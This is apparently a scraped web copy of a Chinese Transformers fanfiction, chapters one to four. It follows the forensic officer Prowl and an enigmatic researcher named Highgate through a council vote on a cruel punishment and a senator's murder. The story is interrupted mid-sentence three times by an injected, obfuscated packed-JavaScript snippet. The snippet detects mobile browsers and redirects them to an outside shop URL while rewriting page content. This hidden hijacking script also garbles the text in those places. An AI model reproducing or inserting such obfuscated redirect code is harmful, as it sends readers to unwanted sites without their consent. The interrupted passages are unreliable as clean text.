《[变形金刚]穿过至高之门》 1. 第一章 铁堡,首席议会厅。 天光从高耸的环形穹顶落下,让大堂里参议员们本就闪亮的涂漆更加耀眼。 最低处的演讲台更是亮得发慌,除非今天的发言人都能自觉把涂装改暗,否则结束后所有人都得去维修光学镜。 警车站在自己负责的点位,检查四周后,将“一切正常”的局域信息发给了安保部队的区域负责人,这些信息最后被汇总,发给了御天敌。 高大的现任汽车人安保部长抬了下金红色的脑袋,下一秒就迈开步子,带着一种肃穆,或者说无动于衷的神色,走到塞伯坦领袖——逆天劫身边说了些什么。 警车收回视线,他站在议会厅一个不起眼的角落,银白灰的机体隐藏在墙壁的阴影里,只有额上的红色角徽昭示着这里有人。 此次会议的主题和安保有关,所以隶属于云雾镇机械法医事务所的他也被抽调来旁听,顺带和其他人一起负责场地的安保行动。 大部分人视此次机会为一份无上光荣,但警车的心情却不怎么好。 没人想面对喋喋不休的议员——尤其是当他们聚在一起的时候。 议会厅一开始还算安静,可过上不到十分钟,第一个不和谐音就出现了,像是从沸腾液体下升起的泡,一个接一个把这场会议搅得天翻地覆。 现在的领袖逆天劫似乎镇不住场面,在场议员没过一个塞星时就开始了争论。 这样的争吵没有任何用处。警车心想。除非他们肯认真解构自己现有的思维体系,找出无可怀疑的逻辑原点,否则就算吵上千百年也不会有结论。 尽管心中不快,但音频接收器还是坚持运转和记录,陆续接收到一些类似于“手脚置换”、“头雕”、“情感表达”之类的词。 有几名议员想要增加一条新的律法,将犯人的手替换成没有手指部件的钳类肢体,将头雕面部换得只剩一个光学镜,相当粗暴又高效率。 他们暂时还没给这项刑罚命名。 警车皱了下眉,不着痕迹地向御天敌看了一眼,只见长官还是面不改色。 或许那样的态度才是对的。 也可能他早就知道了。 塞伯坦长老院的议员们会提出的重大举措,基本已经是某一派系的私下共识,就算有人反对,也架不住同谋者们如砍瓜切菜般地打配合,把异见全都压下去。 大局已定,谁都没法改变现状,逆天劫或许可以,但他不敢。 时间一分一秒过去,投票已经通过,按照修改汽车人法典的流程,接下来只需要经过科学家的技术认证和奥提雷克斯大学代表的同意,这件事就算成了。 这两方一般为了不被卷入纷争,往往都只会沉默。 这个地方早就腐烂得彻彻底底。 “科学院权威代表已经默认这项技术的合法推行。”逆天劫说着,视线转向坐席的另一个角落,“请奥提雷克斯大学代表发言。” 五,四,三,二…… 警车在心里倒数着,准备收工后替自己的光学模块做个检查,再好好活动下筋骨。 “我有意见。” 一个声音平静而突兀地响起。 刹那间,会议厅安静得仿佛被装进了一个大型低温再升舱,全厅的视线都开始左顾右盼,就像没从梦里醒来似的。 警车迅速回过神,朝着声音看去。 那个开口的塞伯坦人乍看不太起眼,中等体型,没有机翼或是轮子——但既然是科技大学的代表,变形模式多半和科研器械有关。不知为何,自己的数据库里没有这人的相关资料。 那人站在原地,看向礼堂中央迟迟没有回应的逆天劫领袖。 “你做什么?”旁边有谁悄声提醒他,警车认出那是名为天火的科学家,“快坐下……” “你是哪位?”逆天劫似乎终于回过神。 没料到会有无名小卒在会议上说话的领袖,显然连参会人员名单都没看过。 “我的名字是海格特(Highgate),作为奥提雷克斯大学代表之一来参加会议。” “非常抱歉领袖,海格特是第一次参加这种大型会议,不太了解礼仪。”天火立刻站起来,替自己的新同事圆场。 作为科研人员,他自己也不认同这种反人性的技术,但这种事和议员争论是没有用的。 这帮人不会管技术有什么问题——甚至可能早就被使用了很久,只是现在才摆到明面上而已。 “稍安勿躁,天火。按照汽车人法典,你的下属有权利开口。”逆天劫面上做起领袖的那一套,“让海格特上台说说看吧,没人会因为提出意见就被惩罚。” 尽管知道这话是揣着明白装糊涂,天火也没法多说,只能用担忧的目光看着自己的小队新成员一步步走向议会厅中心——也是场地的最低点。 在御天敌安保队长以及普罗图斯等议员的目光洗礼下,那里更像审问犯人的地方。 警车继续观察着走上前的海格特。 机体基本上都是深色涂料,看着不会刺眼,从表情和动作细节来看应该不是故意挑事,最重要的是根据扫描结果,藏匿武器的可能性几乎为零。 还算安分。 如果不是在这种场合,警车可能会对他态度好点。 海格特本人倒是对在场的诸多不善目光视若无睹,站定后就开始发表自己的观点。 “如果我的理解无误,各位是打算通过将犯罪者身上的‘自我表达能力’和‘个人特征’移除的方式来进行惩罚。” 他开始讲述,大概是由于嗓音意外的耐听,所以没有被第一时间赶下去。 “这项技术据我所知是完全可行的,但如果各位的初衷是为了社会的安定,那恐怕不能达到目的。” “为什么?” “没有情感表达的塞伯坦人更难被周围人察觉出异样,如果犯人在受到刺激后……” “我知道你想表达的意思了,但那又如何?”最先提出推进政策的某个议员抱起双臂,头雕上金色的装饰随着动作而闪烁,“只有对那些无可救药的重犯才会实行这项惩罚,人们看到这种人只会提前远离。” 海格特眨了下眼,没有立刻反驳。 警车敏锐地察觉到那人的光学模块颜色有些加深——这代表眼前的塞伯坦人正在高速运转自己的思维系统。 无论他想提出什么反驳,最好都有点意义,毕竟用“人道”说服参议员是违背常识的。 “从社会稳定的角度,”海格特找到突破口,斟酌着道,“手部被强制替换成异形的塞伯坦人可能会产生神经问题,变得更加不可控,而且这对极个别天生面部只有一个光学镜的塞伯坦人也会造成社会压力,总之,我们缺乏观察对象和长期数据……” “长期?在你们这些只会研究数字的家伙眼里什么叫长期?”那名议员已经不耐烦了,“我看就算过去一百万年,你也会觉得项目只起了个头。” “由于原有的身体部件几乎不可能被移植回去,长期规划是必要的,按照一般的项目进度……” “哈,要是真按你说的来,这议会也不用建立了!”另一个议员配合着道,“下去!别耽误时间。” “注意言辞。”逆天劫立刻抬了抬手,但在制止了那位参议员的无礼后,也对海格特开口,“这些问题并不严重,其他意见就日后再提吧。” 连领袖都这么说了,海格特只能点头,从会议厅中间的发言位离开。 从始至终,他都是带着那副平淡的表情,好像意见被驳回也无伤大雅似的。 警车不禁怀疑地多看了他一眼,不知是不是错觉,那个回到座席上的研究员似乎也在看他。 但只是下一瞬,海格特就移开视线,刚刚应该只是一个意外。 …… 最后,尘埃落定,法案被命名为“俱五刑”,写在了汽车人法典里。 有些议员对此大为不满,极力反对这项“匪夷所思”,“令人作呕”的刑罚登上法律,震荡波议员甚至差点出手打人——或者他已经这么做了,但最后都没能改变什么。 会议结束后,黄矮星已经落到塞伯坦的地平线以下,天色昏暗,宇宙因此显得格外清晰。 警车写完会议记录,打算走泛大陆高速公路回铁堡的办公处,就在这时,他看到不远处的环轨平台上有一个人影。 是刚才公然提出反对意见的海格特。 那人正观察着夜空,时不时低头在数据板上写点什么。 估计天火这几天要为保下这家伙忙破头了。警车想着,也许是出于好奇心,或者是想要增加对不安因素的控制和了解,他走了过去。 “有没有人让你学点社交?” 海格特回过头,注意到陌生的银白色塞伯坦人正抱着双臂看向自己。 “有的。”他回答,“救护车给我下载了《日常行为社交基础手册》,天火嘱咐我多观察别人,千斤顶让我去看看心理医生,和感知器教授一起去。” “你去看了没?” “看了。” “……医生怎么说?” “他告诉我,真诚和坦率是一点问题也没有的。” 警车噎了一下,有些无语道:“听起来是个好人,但不是个好医生。” “或许吧。”海格特没有否认,“但是我愿意相信他。” “你的理由是?” “我会不生一念地去信任他,仅此而已。”他的声音比起刚才在议会上更温和,或许是离得够近的缘故,那种让人忍不住倾听的特殊感觉也更加强烈,“如果我没认错的话,刚才好像在会议厅的角落里看到您了。” 警车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598606|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用光学镜审视起他:“你要是知道我,就不会这么冷静。” “抱歉,大约一百二十个塞星年之前我才回到社会,所以有很多事还不清楚。” 一百二十年? 难以置信,这年数短得简直是个原生体。警车忍不住想。但这人表现出来的知识储备和心理素质,完全不像一个刚接触社会的塞伯坦人。 “那你之前在?” “极地。天火的队伍进行勘测挖掘时挖到了我,我重新上线时记忆模块就已经坏了,之前的事都没有留下痕迹。不过奥提雷克斯大学应该保存着我被发现时的记录。” “是吗……” 问什么就回答什么,而且从各种频率和面部数据来看,说谎的概率极低。 于是被广泛评价为挑剔又无情的机械法医装作思考,实际在内部数据库快速搜索了海格特的详细信息,发现真如他所说——极地挖掘的发掘与医疗报告,连当时天火小队维修他的记录都还在。 问询进展得太过顺利,以至于警车都快怀疑自己出现了幻觉。 不,问题一定不在我身上。 “你对刚认识的人都会说这么多吗?” 海格特不好意思地笑:“是我啰嗦了,但准确来说,我还不认识您呢。” “我是铁堡机械法医事务所的警车(Prowl)。” “虽然您已经知道了——我是奥提雷克斯大学研究员海格特。”研究员认真地说着,“我听说过一些您的事,可惜大部分都……不太友善。” “……” 那你还不赶紧离我远点?警车愈发确认眼前这人的脑模块有毛病。 但海格特毫无察觉:“有什么问题吗?” “不,没有。”警车说着,看向从刚才开始就一直被对方拿在手里的数据版,“你在研究天文数据?” “我在画画,根据月卫二的位置和弦数推移导致的误差,修正这些变量重新计算,最后就能画出今天完整的星象图。” “为什么不直接拍摄?”警车点了点自己的眼睛。 “我的光学模块也损坏了,”海格特说着,揉了揉眼,“医生说衔接外置辅助设备反而会损坏我的神经导线,所以没办法。” 原来如此。警车突然有种恍然的感觉。 原来海格特之前面对某些议员仿佛要撕了他的表情,面对御天敌长官和普罗图斯议员的审视,面对一切都泰然自若,不是因为他有什么阴谋,全都仅仅是因为看不清。 一切问题都迎刃而解,他的怀疑只是白费力气。 警车有些自嘲地松了口气,他也抬头看了眼星空,然后打开自己的内部通讯装置,向海格特发送了一张图像。 “这是?” “现在的星象图,科研杂志标准分辨率,用我的光学镜拍下来的。” “这样啊。” 出乎意料的是,海格特没有道谢。 他只是盯着警车的方向看,又像是透过他在看什么很远的地方,一直到警车不自在得快掏出武器,才缓缓开口: “您真是个奇怪的人。” “什么?” “明明将我看做潜在的犯罪者,却又想得到我的信任,明明现在的塞伯坦让您感到焦虑不安,却致力于维护制度和议会,您总是这么矛盾吗?” 他说话的语气很轻也很平常,以至于警车反应过来自己听见什么的时候,海格特已经说完了。 那双比其他人更浅的蓝色光学镜带着探究,将视线虚焦在机械法医身上,让人有种不明白他在看什么的疑惑。 最奇怪的是,警车发现自己居然没有对此升起半点愤怒。 “你还看出来什么?”他听见自己的发声器传出干涩的声音。 “我不确定您想听。” “说吧。” “您最近似乎对身边的感情感到迷茫和受挫,可能是对火种挚友,也可能是……看,您并不想听,下次对不想听的内容,您可以主动规避的。” 他是怎么发现的?明明我对面部表情的控制一直很好。 警车困惑地想着,他原本打算等海格特再多说一句就动拳头,可惜对方收得太快太及时。 不等他想出个结果,海格特就突然转过身,像是什么也没发生: “我得走了。警车,下次见。” 这还是头一次有人对他说“下次见”,连客套都没有过。 所以是某种拉近距离的手段?或者这其中有什么阴谋? 警车过于敏锐的逻辑电路反而让他陷入过度思索的陷阱,直到到海格特走远了,身影淹没在街道的人群里。 果然是个问题人员,敢跟机械法医的事务官这样说话。警车想着。我没有当场找他麻烦,只是为了不得罪天火。 他为自己找了个借口,转身走了。 2. 第二章 【奥提雷克斯大学科研视频记录:第xx循环,x周期,xx弦,x点】 塞伯坦,极地。 凌冽的寒风和电磁风暴比任何传感器显示的都要猛烈,伴随着细小的尘沙,刮在身上就像被细碎的金属刀一下下割着,内部系统时不时跳出报错弹窗,自检屏上的能量条正在缓慢下滑。 “我们已经走得够远了!” 救护车大喊着。内线受干扰无法连接,导致他不得不用最原始的方式呼叫走在最前方的天火。 “剩余能量只够每人返程需要的60%,再这样下去就要全军覆没了!” “——!” “什么!?” 他看见天火在回头大喊,但风向是相反的,音频接收器顶多收到一些杂音,于是救护车转头看向感知器。 “他说有发现,”变形形态是显微镜的科学家盯着前方风雪中高大的领队,翻译了对方的唇语和手势,“找到了…东西……在冰岩下,立刻集合。” “噢,别告诉我他找到了终极哨兵。”千斤顶有些兴奋地喃喃。 几人立刻赶了过去,因为晃动和电磁干扰的缘故,救护车绑在肩上的记录仪信号短暂地收到干扰而中断黑屏。 —— 滋—— 【奥提雷克斯大学科研视频记录:第xx循环,x周期,xx弦,y点】 “对了得把这玩意打开……好,已经开了。” 重启视频记录后,救护车放下手里的生命信号检测仪,展示着面前的东西: 平坦的冰岩上放着一堆碎块,上面还带着冰渣和碎石,依稀能看出拼起来后大概会是一个塞伯坦人。 “冰岩下几乎没有塞伯坦金属的痕迹了。”结束挖掘工作的千斤顶说,“我说‘几乎’,因为那些熔在里面的我也无能为力。” “十三…十四……”天火清点着碎块数量,皱起眉头,“难以置信,他是被炸碎在这里了吗?” “或许是镇天威时期,当极地还不是冰原的时候发生的。”感知器正在试图掰正这个塞伯坦人的头部维生导线,“我恐怕这是致命的,虽然他的脑模块和火种舱还勉强连着,但……嗯?” 发现感知器骤然停止的异常动作,救护车上前两步:“有什么情况?” “他刚才主动将头部移动了0.3个微单位,我的指间传感器感觉到了。”科学家依旧面无表情。 “连你也神经紧张,”千斤顶叹了口气,“这里风很大,碎屑也很多,可能只是——” 他话还没说完,忽然就注意到一道不同寻常的视线。 那个在感知器手中的头颅毫无预兆地睁开了眼,那双颜色极浅的光学镜散发出荧荧幽光,冰冷无神地直勾勾盯着他们几个。 “小心!”千斤顶喊了一声。 他和救护车几乎是条件反射地将武器架好,对准了那颗深色的脑袋,但被天火拦了下来。 “都停手!先停一停,他睁开眼就说明他活着!” 视频到这里突然中断了几秒。 —— 滋—— 【奥提雷克斯大学科研视频记录:第xx循环,x周期,xx弦,z点】 这次录像再次亮起时,天火已经走到那个醒来的人旁边,而感知器坐在距离他们三四米远的雪地中,千斤顶和救护车依旧拿着武器,随时做着瞄准准备。 “好的,放松,你还记得自己的身份吗?” 天火张开双手表示自己没有威胁,他语调缓和地询问那人,但对方只是茫然地张了张嘴,没有说话,光学镜也时不时发出混乱的频闪。 “这是脑模块电磁紊乱的症状,”救护车最先回过神来,他扔下手里的武器,又把肩上的记录仪扔给千斤顶接手,“先让一下,领队,我需要对他进行紧急能量复苏。” 他冲上前去,从战士转变成医生。 “嘿老救,这东西有点……”视频中传来千斤顶的声音,他似乎拍了拍记录仪,但画面还是在闪烁几下后黑了下去。 —— 滋—— 【奥提雷克斯大学科研视频记录:第xx循环,y周期,ux弦,a点】 这次画面亮起时,显示的已经是奥提雷克斯大学的诊疗室,光线明亮。 “咳,上次忘了收尾。”画面中传来救护车清嗓子的声音,然后这位医生走到屏幕前,“好吧,按照规定,我宣布天火科学小队第四次极地探索结束,我们发现了新型矿石样本x枚,受困人员一名,根据数据测算……” 在他身后传来天火的声音,科学小组的领队正在对躺在诊疗床上的一名深色涂装的塞伯坦人说话,不难看出他就是被拼凑完整的受困人员。 “能想起你的名字吗?”他问。 “我……名字是……” 那人已经被拼凑完整,但似乎是发声器运行得不太顺,颈部管线也绷直了,于是天火试图把他的上半身抬起来。 “不不,等一下,”借着屏幕反光看到这一幕的救护车立刻回头叫停,“现在这个阶段还不能移动伤患……好了总之我们现在很忙,记录结束!” 他匆匆按下停止键。 —— ———— 铁堡,档案室。 昏暗的C级机密档案存储室内,警车抱着手臂皱着眉,反复观看着这段来自一百多塞星年前,奥提雷克斯大学极地探索小队的录像。 他对照着手里的数据板内容,翻来覆去地拖动进度条,最后在某一帧停了下来。 “警车?” 门开了,外面的光透了进来。 警车不用回头也知道,那是他的搭档锁芯*在找他。 涂装是温暖的橙白色调的机械法医关上门,走到警车旁边,看着那被暂停的影像。 “还在看?”他有些无奈,“我知道你质疑在会议上发言的那个科研人员……好吧,所以有新发现吗?” “有三个。” 锁芯一看就知道警车又要“显摆”他的逻辑电路和思维能力,于是顺势做了个请的手势:“请说。” “首先,这里,”警车敲了敲被他暂停的那一帧画面,“这是第二段视频开头,画面上出现了救护车的信号探测仪,说明在打开视频记录前,他正在检测生命信号。” 锁芯抬头看去,发现那上面显示的是无生命信号的标识。 “结合海格特苏醒后,千斤顶等人掏出武器的反应,他们当时是认为他已经死透了的。”警车补充,“如果是火种软终结的假死状态,他不会这么快睁开眼,所以也可以排除。” “但极地气候条件极端,干扰了检测器运行的可能性也很大。”锁芯提出了看法。 “以救护车谨慎的性格不会没考虑到这一点,但你说得没错,也不是完全没这个可能。” 警车说着,将视频拖动到后面。 “然后是第二个异常情况,在海格特的突然上线导致科学小队掏出武器,而天火制止他们之后,视频出现了黑屏,我做了技术检测,只有这段黑屏是被后期人为剪掉的。” “可能只是他们说了几句不合政府规定的话,自保而已,十个影像记录里起码一半都有这种现象。” “不,你看这里,”警车拖动画面,“影像再次出现的时候,感知器坐在三四米开外的地方,并且做出一个伸手抵挡的规避动作,我经过反推认为是海格特做出了攻击行为。 他刚上线产生应激反应很正常,但天火为什么要隐瞒?而且别忘了,海格特现在连着的部位几乎只有头雕和火种舱,连动手碰一下感知器都做不到,又是怎么把他推那么远的?” 锁芯沉默了,他思考着,示意警车继续。 “最后,第三个异常。”银白色的机械法医将视频拖到最后一段,“在海格特说起自己名字时,虽然被救护车的声音盖了过去,但这里——在他还没被天火挡住的这一帧,放大,你看他的嘴型。” 锁芯仔细辨认,发现这个神色涂装的塞伯坦人在念出名字的最开始,他的嘴型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598607|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是扁的。 “他叫‘Highgate’,要念出这个词,最开始是个张嘴的动作。所以他其实不叫这个名字,大概率包括现在登记的变形数据和名字在内全是假信息。” 说完,警车直直看向锁芯,等待对方的回应。 就这样僵持了几秒后,锁芯开口了。 “你还总说我阴谋论呢。”他幽幽道。 “什么?”感受到讽刺的警车皱起眉,“不,我这全都是合理推断,是正确的。” “听着,我愿意相信你,只是真的有点不明白,”锁芯道,“难道你希望他因为那些反对俱五刑的言论而被抓起来吗?那接下来要怎么做,对一个活人申请一次全面解剖?” “嘿我们说好的,你不能这样对我说话!”警车生气地指着他。 锁芯摊手:“是我的错,抱歉。但我们没空争论这个,得赶紧走了。” “又有谋杀案?”警车冷哼一声,“所以局里那些人现在不仅不跟我分享数据,连任务详情都要通过你才肯告诉我了?” 锁芯感到无奈,只能安慰地拍了拍他的肩膀。 “在麦卡丹老油坊前,”他说,“原谅我必须再催你一下,放下海格特的事吧,我们得立刻过去,因为这次被谋杀的是个参议员。” “那就不能叫谋杀。”警车更正,“那叫遇刺。” —— ———— 锁芯和警车驾驶空中穿梭艇出发,沿着交通路线很快就来到麦卡丹油坊的门口。 这里已经拉起了警戒链,但是热闹街市上的民众实在太多,稍远一些的地方还是被围得水泄不通。 警车远远就看到了参议员的尸体——那人被一条金属绳索捆起来倒挂在洲际公路大桥上,脑袋刚好垂在麦卡丹的门口的半空。他身上被开了整整五个大洞,已经冷却的循环液还在不断往下滴,凝聚成一滩粉色的血泊。 惨不忍睹。 谢尔玛议员的背后还被人画了一个紫色的标志,那是最近兴起的,反对功能主义的“霸天虎”标志。 从正面看去,刚好就展现在街口那个写着“天生我形必有用”的功能主义牌子前。 “机械法医来了。”有人突然嚷嚷了一声,然后是此起彼伏的声音。 “这人就是凶手,你们快把他送进牢里!”“呃这帮家伙来了,都散了吧。”“普神啊,为什么会干出这种丧尽天良的事……” 机械法医事务官还是有不少威望在外的,在看到锁芯和警车后,人群给他们让开一条路。 警车首先看到在油坊门口摆着一把椅子,上面坐着个人——或者准确来说,他是被绑在上面的。 这大概就是刚才那些人口中的“凶手”了。 “到底谁雇用你的?”有个格外激进的塞伯坦人正拿着不知道哪里搞来的枪对着“凶手”的前额,“你这该进熔化炉的残渣!谢尔玛参议员是那么好的人,你简直……” “我不是凶手。”被绑着的人声音平静。 “还是嘴硬是吧?好啊,说真相还是给命,自己选吧!” “我已经说了真相。”“凶手”无奈地说着,主动将脑袋抵上了枪口,“好吧,如果你坚持。” “你……” 这平静到诡异的态度让那人反而被吓了一条,拿着武器往后退了几步。 “你的枪被没收了。”警车走过去,花了三秒就制服了闹事者,“这里由机械法医事务所接管,无关人员请在三十秒内离开,否则您将受到妨碍公务的指控……” 他突然停下了惯例的宣言,话被咽回了发声器。 因为旁边坐在椅子上的那个深色涂装的塞伯坦人,正在抬头用真诚而温和的目光看着他。 “你好,警车。” 海格特歪了下头,他的头雕上和嘴角都沾了几滴不知是谁的血,看上去有些狼狈,还有些疲惫。 “很高兴我们又见面了。遗憾的是我没法让他们相信我只是路过而已,能帮我松一下绑吗?” 3. 第三章 锁芯将闹事者交给附近的铁堡警卫,等交接完工作回到案发现场时,警车已经戴上了单片镜。 他将谢尔玛议员的尸体放下来,检测他的外眼温度情况。 “你比我预期得晚了三分钟。”银白色的机械法医头也不抬,一手指向旁边的椅子,“我完成初步检测,你去问询。” 锁芯愣了一下,顺势看向旁边依旧被绑在椅子上的海格特:“你还没给他松绑?” “为什么我要那么做?” “……好吧。” 锁芯欲言又止,因为海格特正看着不远处的人群,朝里面不知道什么人打着招呼。 “好久不见,荣格医生,很遗憾最近没时间拜访您……夜巡和夸克教授,两位好,关于自密实流态矿的研究最近还顺利吗?” 明明被绑在椅子上,身上还有伤口,但他就像是根本不知道自己的处境似的。 也不知道是乐观还是脑模块里缺条线。 “你确定能问出点什么?”锁芯小声问警车,“他看上去有点二进制。” 警车叹了口气:“这是必要流程。” “我还是建议交换一下,因为你们俩比较熟。” “别在工作时间开玩笑。” 于是拗不过搭档的锁芯只能去找海格特。 他首先调出内部数据库,核实了面前塞伯坦人的身份后,又出示了机械法医的id卡,在简单的流程结束后就开始了问询。 “首先告诉我,你为什么会来这里?” “我要去旁边的功能主义委员会大楼递交材料。”海格特回答,“但是在门口被拦下了,有人告诉我可以从洲际大桥跳到麦卡丹油坊上面,从这一排建筑上翻过去,所以我进行了尝试。” 橙白色机械法医记录的手顿住:“谁告诉你的?” “一个塞伯坦人。” 锁芯感觉自己的面甲抽了一下,他已经很久没听到如此彻底又真诚的废话了。 “算了,先回答我另一件事,他们为什么说你是凶手?” “我在油坊上面被绊了一跤,有绳子断掉的声音,我捡起一侧的绳子,结果另一边……” 他抬头看向刚才倒吊着尸体的地方。 “你是想说另一边绑着谢尔玛议员的尸体?” “嗯,绳子断掉后,他就从大桥上滑了下去。” 锁芯乘坐空中穿梭艇飞到上面检测了一番,的确发现了海格特所说的金属绳的残骸,还有一些涂料的剐蹭痕迹。 但这依旧解释不通,因为麦卡丹油坊的上方只摆放了一些低矮的杂物,换言之—— “如果你真的在上面,就没有理由看不见议员的尸体。”他检查完毕,飞回地面对海格特说。 “我的光学镜是坏的,你可以问警车。” “问他没用,不过我们会让你去科学技术学院出具一份详细的检测报告,再查一下你在议员死亡时间的不在场证明,别紧张,如果你真的与这件事无关,很快就能洗脱嫌疑。” “……” 海格特突然沉默了一阵,然后问:“您说很快,大概是多久?” “一塞星周内。” “那就来不及了。” 什么?——锁芯话还没来得及问出口,就看到海格特突然转头朝向他的搭档。 “警车,我有件事想跟你商量!” “贿赂机械法医会导致你罪加一等。”警车头也没抬。 “那有些事我想告诉你。” “说。” “你身后西侧第二栋建筑的第5层里,有三个汽车人安保部队的人,另外在你西南侧的人群里有两个之前在会议上出现过的卫兵……” “停!别说了。” 警车停下手里的检测工作,不着痕迹地指挥锁芯低头别乱张望,然后装作继续尸检,其实是用逻辑电路高速测算了一下周围的动向。 的确有几个人在海格特所说的地方朝案发现场张望,但不知道是什么人。 他装作记录周围情况,在朝着西南侧人群望去的一瞬间,的确看到了一个有些熟悉的机体。 像是前段时间在首席议会厅角落里看到过的卫兵。 功能主义的最大支持者——普罗图斯议员的卫兵。 警车装作什么也没发现,专心地回到尸检进程,但表层电路已经起了一阵细密的静电层。 海格特说的是两个,而如果不是提前有所察觉,他连这一个人都发现不了,估计他们都装了注意力转移设备。 普罗图斯的人为什么会在这?就因为死的是议员?不,不会这么简单。 “他最近还起草了霸天虎实名注册法案……”警车念叨着最近发生的事,看向已经开始缓缓褪色的谢尔玛议员的脸,“这里到底要发生什么?” 尸体当然没有回答他,警车只能皱起眉继续独自思考。 他非常不喜欢这种感觉。 陷在烂泥地里,原有的秩序生活开始脱离掌控,这种感觉几乎要烧了警车的逻辑电路,让他抓狂。 不过,还有一个被忽略的数据—— “你是怎么发现那些人的?”他走到海格特旁边问。 “和我的变形模式有关。”海格特目光坦然,“现在你愿意和我商量了吗?” 警车想起海格特登记的变形模式:一个高级多波束热成像核心设备。 “所以你看不见谢尔玛议员,”他几乎是在自言自语,“因为他没有和周围产生明显热量差异,也就是说那时候他就已经死了至少三小时——” “不不,别……”锁芯有种不祥的预感。 “我要申请一次全面尸检。”警车说。 “你认真吗?”锁芯扶上额头,“他是议员,这下申请流程要走一辈子了。” 警车没有听见他说什么,他陷入了难得的逻辑死循环: 这件事乍一看像是霸天虎所为,比如特地选择了威震天当年被逮捕的地点杀人、在死者身上留下标志等,但这些都太明显了,反而显得更像是一场嫁祸。 然而知道有普罗图斯的人在观察后,这种嫁祸的意图又意味深长起来,难道他们希望自己发现这是一场嫁祸? 这样下去无法得出有效结论,于是警车迅速让自己抽离。 “说来听听,”他问海格特,“你想商量什么?” “我会帮你们找到凶手,”海格特回答,“但在对谢尔玛议员的全面尸检结束前,我需要自由行动。” “……给我一个理由。” “我要去功能主义委员会大楼递交材料,期限是今天的日循环结束前。另外,我相信你清楚,把调查重心放在我身上是错误的。” 海格特不是犯人,这对警车来说显而易见。 一个非武装、不会飞也不会隐藏的热成像探测仪,在被护卫围绕的参议员身上凿五个洞,并神不知鬼不觉地把他放到闹市区? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598608|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他在心里哼了一声。 相信这,还不如相信旁边人群中那个橙色的模型宅心理医生就是元始天尊。 “我知道了,但前提是你需要配合调查,我会监控你接下来的一切行踪。” 他并不是不近人情,警车听说过委员会最近针对科研人员的改派行动,估计海格特也是为了类似的事在行动。 于是他在计算了一下各项数据指标,和锁芯短暂地商谈了流程后,就同意了海格特的请求。 海格特被装上定位监控芯片,由锁芯带到某个远离现场的街口后偷偷放掉。 “希望这样有用。” 看着海格特消失在人群中的身影,锁芯喃喃着。 —— 气温正常,机体运转正常。 能量储备稍低,但是不妨碍行动。 海格特活动了一下僵硬的手腕关节,边走边观察四周,寻找着当时向自己提出建议,去麦卡丹油坊上面的塞伯坦人。 如果警车在场,一定会说他疯了。 当街找人本就是大海捞针,对海格特这种连别人机体都看不清的人来说更是极度不现实。 但是,不到半个塞星时。 “找到了。” 茫茫人海中,光学镜锁定了一个方向。 说实话,把这么大的事情向别人保密,感觉还挺奇怪的。 但天火和救护车都再三嘱咐过他绝对不能告诉别人,他也不能因此连累那些好人。 或许每个人都有自己的秘密。 ——就像最近发生的那些事件那样。 但不能保证,每个秘密都会温和无害。 ——就像他的秘密那样。 海格特微微睁大眼睛,那双极浅的光学镜深处倒映着无数的光。 蓝色。 有数十、数百、上千上万颗湛蓝的光芒漂浮在深不见底的黑暗中,仿佛无数恒星在宇宙中闪烁、颤动,它们每个都有独特的频率波动和微妙的色彩差异,散发着坚韧而温和的生命力。 真美。 自苏醒以来,他不是第一次这么感叹,也不会是最后一次。 “这世界真美。” 有件事海格特说了谎了。 他并非只能看到有温度的东西,变形模式虽然有热成像仪的功能,但也不完全是。 甚至,他的光学镜从来都没有损坏。 看不见死去的议员、找到普罗图斯的卫兵、能看出警车的情绪……全都是一个理由。 ——海格特的光学模块无法看到任何东西,除了作为塞伯坦人生命之源的火种。 所幸观察四周的方式不止视觉,弥补了其他的部分。 回到现在,在确定了大致方向后,他就调出一份周边地图,沿着路线开始前进。 那个骗他去屋顶的人不仅陷害他是凶手,还趁乱拿走了他原本要交到功能主义委员会大楼的一个数据板。 那个东西很重要,必须得拿回来。 于是海格特沿着路线前进,过了许久,总算来到了那颗火种附近。 那人在某个建筑物的地下。 海格特看了一眼地图上显示的内容,又用外感应设备扫描了面前的建筑物上挂着的牌子,只见上面写着几个字—— 【让渡诊所 营业时间:xx点至xx点 限期的高价机体捐献、机体替换服务 助您随时体验崭新生活!】 4. 第四章 空气中似乎有一种古怪的,药物和清洁剂混合的气味。 这家让渡诊所非常冷清,第一层没有人,接待前台也是空的。 【警告:警务网络正在检测,试图在让渡诊所消费会导致你的账户遭到停用。】 看见内线里突然传来这么一条消息,海格特想了一下,回复:【你好,警车(笑脸.jpg)】 等了一会儿,对面没有回复。 